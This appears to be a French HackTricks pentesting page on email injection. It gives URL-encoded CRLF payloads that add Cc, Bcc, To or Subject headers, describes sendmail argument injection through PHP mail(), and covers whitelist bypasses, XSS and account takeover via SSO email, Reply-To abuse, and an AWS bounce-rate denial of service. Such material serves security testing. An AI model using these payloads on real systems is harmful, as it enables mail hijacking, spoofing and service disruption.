9.3 KiB
Injections d'Email
Utilisez Trickest pour construire et automatiser des workflows grâce aux outils communautaires les plus avancés au monde.
Obtenez l'accès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres moyens de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le merchandising officiel PEASS & HackTricks
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de hacking en soumettant des PR aux dépôts github HackTricks et HackTricks Cloud.
Injecter dans l'email envoyé
Injecter Cc et Bcc après l'argument de l'expéditeur
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
Le message sera envoyé aux comptes destinataire et destinataire1.
Injecter un argument
From:sender@domain.com%0ATo:attacker@domain.com
Le message sera envoyé au destinataire original et au compte de l'attaquant.
Injecter l'argument Subject
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
Le faux sujet sera ajouté au sujet original et dans certains cas le remplacera. Cela dépend du comportement du service de messagerie.
Modifier le corps du message
Injectez un saut de deux lignes, puis écrivez votre message pour changer le corps du message.
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
Exploitation de la fonction mail() PHP
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
Le 5ème paramètre ($additional_parameters)
Cette section est basée sur comment abuser de ce paramètre en supposant qu'un attaquant le contrôle.
Ce paramètre sera ajouté à la ligne de commande que PHP utilisera pour invoquer le binaire sendmail. Cependant, il sera assaini avec la fonction escapeshellcmd($additional_parameters)
.
Un attaquant peut injecter des paramètres supplémentaires pour sendmail dans ce cas.
Différences dans l'implémentation de /usr/sbin/sendmail
L'interface sendmail est fournie par le logiciel de messagerie MTA (Sendmail, Postfix, Exim, etc.) installé sur le système. Bien que la fonctionnalité de base (tels que les paramètres -t -i -f) reste la même pour des raisons de compatibilité, d'autres fonctions et paramètres varient considérablement en fonction du MTA installé.
Voici quelques exemples de différentes pages de manuel de la commande/interface sendmail :
- Sendmail MTA : http://www.sendmail.org/~ca/email/man/sendmail.html
- Postfix MTA : http://www.postfix.org/mailq.1.html
- Exim MTA : https://linux.die.net/man/8/eximReferences
Selon l'origine du binaire sendmail, différentes options ont été découvertes pour les abuser et fuir des fichiers ou même exécuter des commandes arbitraires. Vérifiez comment dans https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
Injecter dans le nom de l'e-mail
Parties ignorées d'un e-mail
Les symboles : +, - et {} peuvent être utilisés pour le marquage et sont ignorés par la plupart des serveurs d'e-mails
Les commentaires entre parenthèses () au début ou à la fin seront également ignorés
- Ex. : john.doe(intigriti)@example.com → john.doe@example.com
Contournement de liste blanche
Guillemets
IPs
Vous pouvez également utiliser des IPs comme noms de domaine entre crochets :
- john.doe@[127.0.0.1]
- john.doe@[IPv6:2001:db8::1]
Autres vulnérabilités
SSO tiers
XSS
Certains services comme github ou salesforce vous permettent de créer une adresse e-mail avec des charges utiles XSS. Si vous pouvez utiliser ces fournisseurs pour vous connecter à d'autres services et que ces services ne nettoient pas correctement l'e-mail, vous pourriez provoquer un XSS.
Prise de contrôle de compte
Si un service SSO vous permet de créer un compte sans vérifier l'adresse e-mail fournie (comme salesforce) et que vous pouvez ensuite utiliser ce compte pour vous connecter à un autre service qui fait confiance à salesforce, vous pourriez accéder à n'importe quel compte.
Remarquez que salesforce indique si l'e-mail fourni a été vérifié ou non, donc l'application devrait prendre en compte cette information.
Reply-To
Vous pouvez envoyer un e-mail en utilisant From: company.com et Replay-To: attacker.com et si une réponse automatique est envoyée parce que l'e-mail a été envoyé depuis une adresse interne, l'attaquant pourrait recevoir cette réponse.
Taux de rebond dur
Certaines applications comme AWS ont un taux de rebond dur (chez AWS, il est de 10 %), qui, lorsqu'il est dépassé, bloque le service d'e-mail.
Un rebond dur est un e-mail qui n'a pas pu être livré pour des raisons permanentes. Peut-être que l'adresse e-mail est fausse, peut-être que le domaine de l'e-mail n'est pas un vrai domaine, ou peut-être que le serveur du destinataire de l'e-mail n'accepte pas les e-mails), cela signifie que sur un total de 1000 e-mails, si 100 d'entre eux étaient faux ou invalides et ont causé un rebond, AWS SES bloquera votre service.
Ainsi, si vous êtes capable d'envoyer des e-mails (peut-être des invitations) depuis l'application web à n'importe quelle adresse e-mail, vous pourriez provoquer ce blocage en envoyant des centaines d'invitations à des utilisateurs et domaines inexistants : DoS du service d'e-mail.
Références
- https://resources.infosecinstitute.com/email-injection/
- https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
- https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view
- https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0
Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres moyens de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le merchandising officiel PEASS & HackTricks
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de hacking en soumettant des PR aux dépôts github HackTricks et HackTricks Cloud.
Utilisez Trickest pour construire et automatiser des workflows facilement, alimentés par les outils communautaires les plus avancés.
Obtenez l'accès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}